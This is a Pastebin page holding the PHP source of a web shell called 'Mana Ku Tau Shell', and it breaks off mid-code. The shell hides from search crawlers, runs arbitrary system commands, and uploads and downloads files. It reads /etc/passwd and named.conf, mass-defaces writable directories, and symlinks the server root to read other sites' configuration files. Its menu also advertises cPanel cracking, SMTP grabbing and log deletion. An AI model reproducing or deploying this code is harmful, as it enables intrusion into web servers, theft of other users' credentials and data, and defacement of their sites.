Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting(0);
- set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @clearstatcache();
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- $auth_pass = "9ac65ba3c9df0006a89113889e9c8e8b";
- $color = "#00ff00";
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- $default_charset = 'UTF-8';
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- function login_shell() {
- ?>
- <html>
- <head>
- <link rel="icon" href="http://seegrastreadores.com.br/mina.png" type="image/x-icon"/>
- <title>Mana Ku Tau Private Shell !!!</title>
- <style type="text/css">
- html {
- margin: 20px auto;
- background: #000000;
- color: cyan;
- text-align: center;
- }
- header {
- color: cyan;
- margin: 10px auto;
- }
- input[type=password] {
- width: 250px;
- height: 25px;
- color: red;
- background: #000000;
- border: black;
- padding: 5px;
- margin-left: 20px;
- text-align: center;
- }
- .kedip {
- -webkit-animation-name: blinker;
- -webkit-animation-duration: 3s;
- -webkit-animation-timing-function: linear;
- -webkit-animation-iteration-count: infinite;
- -moz-animation-name: blinker;
- -moz-animation-duration: 2s;
- -moz-animation-timing-function: linear;
- -moz-animation-iteration-count: infinite;
- animation-name: blinker;
- animation-duration: 1s;
- animation-timing-function: linear;
- animation-iteration-count: infinite;
- color: green;
- }
- @-moz-keyframes blinker {
- 0% { opacity: 1.0; }
- 50% { opacity: 0.0; }
- 100% { opacity: 1.0; }
- }
- @-webkit-keyframes blinker {
- 0% { opacity: 1.0; }
- 50% { opacity: 0.0; }
- 100% { opacity: 1.0; }
- }
- @keyframes blinker {
- 0% { opacity: 1.0; }
- 50% { opacity: 0.0; }
- 100% { opacity: 1.0; }
- }
- </style>
- </head>
- <script language='javascript'>
- if (document.all||document.getElementById){
- var thetitle=document.title
- document.title=''
- }
- var data="abcdefghijklmnopqrstuvwxyz";
- var done=1;
- function statusIn(text){
- decrypt(text,5,50);
- }
- function statusOut(){
- self.status='';
- done=1;
- }
- function decrypt(text, max, delay){
- if (done){
- done = 0;
- rantit(text, max, delay, 0, max);
- }
- }
- function rantit(text, runs_left, delay, charvar, max){
- if (!done){
- runs_left = runs_left - 1;
- var status = text.substring(0,charvar);
- for(var current_char = charvar; current_char < text.length; current_char++){
- status += data.charAt(Math.round(Math.random()*data.length));
- }
- document.title = status;
- var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
- var new_char = charvar + 1;
- var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
- if(runs_left > 0){
- setTimeout(rerun, delay);
- }
- else{
- if (charvar < text.length){
- setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
- }
- else
- {
- done = 1;
- }
- }
- }
- }
- if (document.all||document.getElementById)
- statusIn(thetitle)
- </script>
- <center>
- <header>
- <pre>
- ,----------------, ,---------,
- ,-----------------------, ," ,"|
- ," ,"| ," ," |
- +-----------------------+ | ," ," |
- | .-----------------. | | +---------+ |
- | | | | | | -==----'| |
- | | I LOVE YOU! | | | | | |
- | | Bad command or | | |/----|`---= | |
- | | C:\>_ | | | ,/|==== ooo | ;
- | | | | | // |(((( [33]| ,"
- | `-----------------' |," .;'| |(((( | ,"
- +-----------------------+ ;; | | |," -Idiot BlackHat-
- /_)______________(_/ //' | +---------+
- ___________________________/___ `,
- / oooooooooooooooo .o. oooo /, \,"-----------
- / ==ooooooooooooooo==.o. ooo= // ,`\--{)B ,"
- /_==__==========__==_ooo__ooo=_/' /___________,"
- <pre class='kedip'>
- __________ .___ .__
- \______ \ ________________ ____ __| _/____ | |
- | | _// __ \_ __ \__ \ / \ / __ |\__ \ | |
- | | \ ___/| | \// __ \| | \/ /_/ | / __ \| |__
- |______ /\___ >__| (____ /___| /\____ |(____ /____/
- \/ \/ \/ \/ \/ \/
- </pre></pre>
- </header>
- <form method="post">
- <input type="password" name="pass">
- </form>
- <?php
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- login_shell();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?>
- <html>
- <head>
- <link rel="icon" href="http://seegrastreadores.com.br/natal2015/images/logo.jpeg" type="image/x-icon"/>
- <title>Mana Ku Tau Shell !!!</title>
- <meta name='author' content='berandal'>
- <meta charset="UTF-8">
- <style type='text/css'>
- @import url(https://fonts.googleapis.com/css?family=Ubuntu);
- html {
- background: #000000;
- color: #ffffff;
- font-family: 'Ubuntu';
- font-size: 13px;
- width: 100%;
- }
- li {
- display: inline;
- margin: 5px;
- padding: 5px;
- }
- table, th, td {
- border-collapse:collapse;
- font-family: Tahoma, Geneva, sans-serif;
- background: transparent;
- font-family: 'Ubuntu';
- font-size: 13px;
- }
- .table_home, .th_home, .td_home {
- border: 1px solid #ffffff;
- }
- .table_home td:hover {
- background: #635F5F;
- }
- th {
- padding: 10px;
- border-color: #BDBDBD;
- }
- a {
- color: #ffffff;
- text-decoration: none;
- }
- a:hover {
- color: cyan;
- text-decoration: underline;
- }
- b {
- color: gold;
- }
- input[type=text], input[type=password],input[type=submit] {
- background: transparent;
- color: #ffffff;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Ubuntu';
- font-size: 13px;
- }
- textarea {
- border: 1px solid #ffffff;
- width: 100%;
- height: 400px;
- padding-left: 5px;
- margin: 10px auto;
- resize: none;
- background: transparent;
- color: #ffffff;
- font-family: 'Ubuntu';
- font-size: 13px;
- }
- select {
- width: 152px;
- background: #000000;
- color: cyan;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Ubuntu';
- font-size: 13px;
- }
- option:hover {
- background: cyan;
- color: #000000;
- }
- .muter {
- onmousedown:stop;
- animation-name: rotate ;
- animation-duration: 5s;
- animation-play-state: running;
- animation-timing-function: linear;
- animation-iteration-count: infinite;
- opacity: 1.0;filter: alpha(opacity=50);}
- .muter:hover {opacity: 1.0;filter: alpha(opacity=100);}
- @keyframes rotate{
- 10% {transform:rotateY(36deg)}
- 20% {transform:rotateY(72deg)}
- 30% {transform:rotateY(108deg)}
- 40% {transform:rotateY(144deg)}
- 50% {transform:rotateY(180deg)}
- 60% {transform:rotateY(216deg)}
- 70% {transform:rotateY(252deg)}
- 80% {transform:rotateY(288deg)}
- 90% {transform:rotateY(324deg)}
- 100% {transform:rotateY(360deg)}
- }
- .phpinfo table{width:100%;padding:0 0 0 0;}
- .phpinfo td{background:black;color:#cccccc;padding:6px 8px;;}
- .phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;}
- .phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;}
- </style>
- </head>
- <script language='javascript'>
- if (document.all||document.getElementById){
- var thetitle=document.title
- document.title=''
- }
- var data="abcdefghijklmnopqrstuvwxyz";
- var done=1;
- function statusIn(text){
- decrypt(text,5,50);
- }
- function statusOut(){
- self.status='';
- done=1;
- }
- function decrypt(text, max, delay){
- if (done){
- done = 0;
- rantit(text, max, delay, 0, max);
- }
- }
- function rantit(text, runs_left, delay, charvar, max){
- if (!done){
- runs_left = runs_left - 1;
- var status = text.substring(0,charvar);
- for(var current_char = charvar; current_char < text.length; current_char++){
- status += data.charAt(Math.round(Math.random()*data.length));
- }
- document.title = status;
- var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
- var new_char = charvar + 1;
- var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
- if(runs_left > 0){
- setTimeout(rerun, delay);
- }
- else{
- if (charvar < text.length){
- setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
- }
- else
- {
- done = 1;
- }
- }
- }
- }
- if (document.all||document.getElementById)
- statusIn(thetitle)
- </script>
- <?php
- function w($dir,$perm) {
- if(!is_writable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=cyan>".$perm."</font>";
- }
- }
- function r($dir,$perm) {
- if(!is_readable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=cyan>".$perm."</font>";
- }
- }
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function hdd($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- function ambilKata($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- function getsource($url) {
- $curl = curl_init($url);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
- $content = curl_exec($curl);
- curl_close($curl);
- return $content;
- }
- function bing($dork) {
- $npage = 1;
- $npages = 30000;
- $allLinks = array();
- $lll = array();
- while($npage <= $npages) {
- $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
- if($x) {
- preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
- foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
- $npage = $npage + 10;
- if (preg_match("(first=" . $npage . "&)siU", $x, $linksuiv) == 0) break;
- } else break;
- }
- $URLs = array();
- foreach($allLinks as $url){
- $exp = explode("/", $url);
- $URLs[] = $exp[2];
- }
- $array = array_filter($URLs);
- $array = array_unique($array);
- $sss = count(array_unique($array));
- foreach($array as $domain) {
- echo $domain."\n";
- }
- }
- function reverse($url) {
- $ch = curl_init("http://domains.yougetsignal.com/domains.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- $resp = curl_exec($ch);
- $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
- $array = explode(",,", $resp);
- unset($array[0]);
- foreach($array as $lnk) {
- $lnk = "http://$lnk";
- $lnk = str_replace(",", "", $lnk);
- echo $lnk."\n";
- ob_flush();
- flush();
- }
- curl_close($ch);
- }
- if(get_magic_quotes_gpc()) {
- function berandal_ss($array) {
- return is_array($array) ? array_map('berandal_ss', $array) : stripslashes($array);
- }
- $_POST = berandal_ss($_POST);
- $_COOKIE = berandal_ss($_COOKIE);
- }
- if(isset($_GET['dir'])) {
- $dir = $_GET['dir'];
- chdir($dir);
- } else {
- $dir = getcwd();
- }
- $kernel = php_uname();
- $admin_id=$_SERVER['SERVER_ADMIN'];
- $software = getenv("SERVER_SOFTWARE");
- $d0mains = @file("/etc/named.conf");
- $users=@file('/etc/passwd');
- if($d0mains)
- {
- $count;
- foreach($d0mains as $d0main)
- {
- if(@ereg("zone",$d0main))
- {
- preg_match_all('#zone "(.*)"#', $d0main, $domains);
- flush();
- if(strlen(trim($domains[1][0])) > 2)
- {
- flush();
- $count++;
- }
- }
- }
- }
- $ip = gethostbyname($_SERVER['HTTP_HOST']);
- $dir = str_replace("\\","/",$dir);
- $scdir = explode("/", $dir);
- $freespace = hdd(disk_free_space("/"));
- $total = hdd(disk_total_space("/"));
- $used = $total - $freespace;
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=cyan>OFF</font>";
- $ds = @ini_get("disable_functions");
- $mysql = (function_exists('mysql_connect')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
- $curl = (function_exists('curl_version')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
- $wget = (exe('wget --help')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
- $perl = (exe('perl --help')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
- $python = (exe('python --help')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
- $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=cyan>NONE</font>";
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- echo "<img src='http://seegrastreadores.com.br/natal2015/images/logo.jpeg' width='200px' height='200px' class='muter' style='float: left;'>";
- echo "System: <font color=cyan>".$kernel."</font><br>";
- echo "User: <font color=cyan>".$user."</font> (".$uid.") Group: <font color=cyan>".$group."</font> (".$gid.")<br>";
- echo "Server IP: <font color=cyan>".$ip."</font> | Your IP: <font color=cyan>".$_SERVER['REMOTE_ADDR']."</font><br>";
- echo "PHP Version : ".phpversion()." <font color='white'> on</font> ".php_sapi_name()." <font class='asu'>[<a href='?dir=$dir&do=phinfo'>PHP Info</a>]</font><br>";
- echo "Admin : <font color=cyan>".$admin_id."</font> | Websites: <font color=cyan>$count</font> Domains<br>";
- echo "HDD: <font color=cyan>$used</font> / <font color=cyan>$total</font> ( Free: <font color=cyan>$freespace</font> )<br>";
- echo "Safe Mode: $sm<br>";
- echo "Disable Functions: $show_ds<br>";
- echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
- echo "Current DIR: ";
- foreach($scdir as $c_dir => $cdir) {
- echo "<a href='?dir=";
- for($i = 0; $i <= $c_dir; $i++) {
- echo $scdir[$i];
- if($i != $c_dir) {
- echo "/";
- }
- }
- echo "'>$cdir</a>/";
- }
- echo " [ ".w($dir, perms($dir))." ]";
- echo "<br><br><br>";
- echo "<hr>";
- echo "<center>";
- echo "<ul>";
- echo "<li><font color='cyan'>[</font> <a href='?'>Home</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=upload'>Upload</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=cmd'>Command</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&config=grabber'>Config</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=jumping'>Jumping</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=symlink'>Symlink</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> <font color='cyan'>]</font></li><br>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=loghunter'>LogHunter</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=zoneh'>Zone-H</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=cgi'>CGI Telnet</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=adminer'>Adminer</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=csrf'>CSRF</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=fake_root'>Fake Root</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a href='?dir=$dir&delete=logs'>Delete Logs</a> <font color='cyan'>]</font></li>";
- echo "<li><font color='cyan'>[</font> <a style='color: red;' href='?logout=true'>Logout</a> <font color='cyan'>]</font></li>";
- echo "</ul>";
- echo "</center>";
- echo "<hr>";
- if($_GET['logout'] == true) {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- echo "<script>window.location='?';</script>";
- } elseif($_GET['do'] == 'upload') {
- echo "<center>";
- if($_POST['upload']) {
- if($_POST['tipe_upload'] == 'biasa') {
- if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
- $act = "<font color=cyan>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- } else {
- $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
- $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
- if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
- if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
- $act = "<font color=cyan>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- }
- }
- echo "Upload File:
- <form method='post' enctype='multipart/form-data'>
- <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
- <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
- <input type='file' name='ix_file'>
- <input type='submit' value='upload' name='upload'>
- </form>";
- echo $act;
- echo "</center>";
- } elseif($_GET['do'] == 'cmd') {
- echo "<form method='post'>
- <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
- <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
- </form>";
- if($_POST['do_cmd']) {
- echo "<pre>".exe($_POST['cmd'])."</pre>";
- }
- } elseif($_GET['do'] == 'mass_deface') {
- function sabun_massal($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=cyan>DONE</font>] $lokasi<br>";
- file_put_contents($lokasi, $isi_script);
- $berandal = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- function sabun_biasa($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=cyan>DONE</font>] $dirb/$namafile<br>";
- file_put_contents($lokasi, $isi_script);
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- if($_POST['tipe_sabun'] == 'mahal') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- } elseif($_POST['tipe_sabun'] == 'murah') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- }
- } else {
- echo "<center>";
- echo "<form method='post'>
- <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
- <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
- <font style='text-decoration: underline;'>Folder:</font><br>
- <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Filename:</font><br>
- <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Index File:</font><br>
- <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Mana Ku Tau</textarea><br>
- <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
- </form></center>";
- }
- }
- elseif($_GET['do'] == 'loghunter')
- {
- echo '<center><h1>Log Hunter</h1>';
- echo "<form action=\"\" method=\"post\">\n";
- ?><br>Dir :<input type="text" value="<?=getcwd();?>" style='border-color=white;' name="shc_dir"><?php
- echo "<input type=\"submit\" style='border-color=white;' name=\"submit\" class=\"kotak\" value=\"Scan!\"/>\n";
- echo "</form>\n";
- echo "<pre style=\"text-align: left;\">\n";
- error_reporting(0);
- /*
- +--------------------------------------------+
- Name : Log Hunter (Grab Email)
- Date : 26/03/2016 05:53 PM
- Link : http://facebook.com/rafi.izudin
- Link : http://pastebin.com
- Author : Shor7cut
- +--------------------------------------------+
- Recoder : Berandal
- Link : http://twitter.com
- Link : http://pastebin.com
- +--------------------------------------------+
- */
- if($_POST['submit']){
- function tampilkan($shcdirs){
- foreach(scandir($shcdirs) as $shc)
- {
- if($shc!='.' && $shc!='..')
- {
- $shc = $shcdirs.DIRECTORY_SEPARATOR.$shc;
- if( !is_dir($shc) && !eregi("css", $shc) ){
- $fgt = file_get_contents($shc);
- $ifgt = exif_read_data($shc);
- $jembut = "COMPUTED";
- $taik = "UserComment";
- $shcm = "/mail['(']/";
- if($ifgt[$jembut][$taik]){
- echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font><br>";
- }
- preg_match_all('#[A-Z0-9a-z._%+-]+@[A-Za-z0-9.+-]+#',$fgt,$cocok);
- $hcs = "/base64_decode/";
- $exif = "/exif_read_data/";
- preg_match($shcm, addslashes($fgt), $mailshc);
- preg_match($hcs, addslashes($fgt), $shcmar);
- preg_match($exif, addslashes($fgt), $shcxif);
- if(eregi('HTTP Cookie File', $fgt) || eregi('PHP Warning:', $fgt) ){
- }
- if(eregi('tmp_name', $fgt)){
- echo "[<font color=#FAFF14>Uploader</font>] <font color=#2196F3>".$shc."</font><br>";
- }
- if($shcmar[0]){
- echo "[<font color=#FF3D00>Base64</font>] <font color=#2196F3>".$shc."</font><br>";
- }
- if($mailshc[0]){
- echo "[<font color=#E6004E>MailFunc</font>] <font color=#2196F3>".$shc."</font><br>";
- }
- if($shcxif[0]){
- echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font> </font><font color=red>{Manual Check}</font><br>";
- }
- if(eregi("js", $shc)){
- echo "[<font color=red>Javascript</font>] <font color=#2196F3>".$shc."</font> { <a href=http://www.unphp.net target=_blank>CheckJS</a> }<br>";
- }
- if($cocok[0]){
- foreach ($cocok[0] as $key => $shcmail) {
- if (filter_var($shcmail, FILTER_VALIDATE_EMAIL)) {
- echo "[<font color=yellow>SendMail</font>] <font color=#2196F3>".$shc."</font> { ".$shcmail." }<br>";
- }
- }
- }
- }else{
- tampilkan($shc);
- }
- }
- }
- }
- tampilkan($_POST['shc_dir']);
- }
- echo "</pre>\n";
- echo "</Center>\n";}
- elseif($_GET['do'] == 'csrf') {
- echo "<h1>CSRF Exploiter Online</h1>
- <form method='post'>
- URL:       <input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='url' size='50' height='10' placeholder='http://127.0.0.1/[path]/upload.php' style='margin: 5px auto; padding-left: 5px;' required><br>
- POST File: <input type='text' name='data' style='border:0;border-bottom:1px solid #292929; width:500px;' size='50' height='10' placeholder='Filedata / files[] / qqfile / userfile / dll' style='margin: 5px auto; padding-left: 5px;' required><br>
- <br><input style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' class='kotak' type='submit' name='go' value='Lock!'>
- </form>";
- $url = $_POST['url'];
- $data = $_POST['data'];
- $submit = $_POST['go'];
- if($submit) {
- echo "<br><form style='text-align:left' method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' type='submit' name='ok' class='kotak' value='Upload'>
- </form></div>";
- }
- ;} elseif($_GET['do'] == 'symlink') {
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
- $d0mains = @file("/etc/named.conf");
- ##httaces
- if($d0mains){
- @mkdir("ManaKuTau_sym",0777);
- @chdir("ManaKuTau_sym");
- @exe("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex berandal.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "<center><h2>Symlink Server</h2></center>
- <table align=center border=1 style='width:60%;border-color:#333333;'>
- <tr>
- <td align=center><font size=2>No.</font></td>
- <td align=center><font size=2>Domains</font></td>
- <td align=center><font size=2>Users</font></td>
- <td align=center><font size=2>Symlink</font></td>
- </tr>";
- $dcount = 1;
- foreach($d0mains as $d0main){
- if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
- flush();
- if(strlen(trim($domains[1][0])) > 2){
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
- echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
- <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
- <td>".$user['name']."</td>
- <td><a href='$full/ManaKuTau_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
- flush();
- $dcount++;}}}
- echo "</table>";
- }else{
- $TEST=@file('/etc/passwd');
- if ($TEST){
- @mkdir("ManaKuTau_sym",0777);
- @chdir("ManaKuTau_sym");
- exe("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex berandal.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);
- @fclose($fp3);
- echo "
- <table align=center border=1><tr>
- <td align=center><font size=3>S. No.</font></td>
- <td align=center><font size=3>Users</font></td>
- <td align=center><font size=3>Symlink</font></td></tr>";
- $dcount = 1;
- $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
- while(!feof($file)){
- $s = fgets($file);
- $matches = array();
- $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
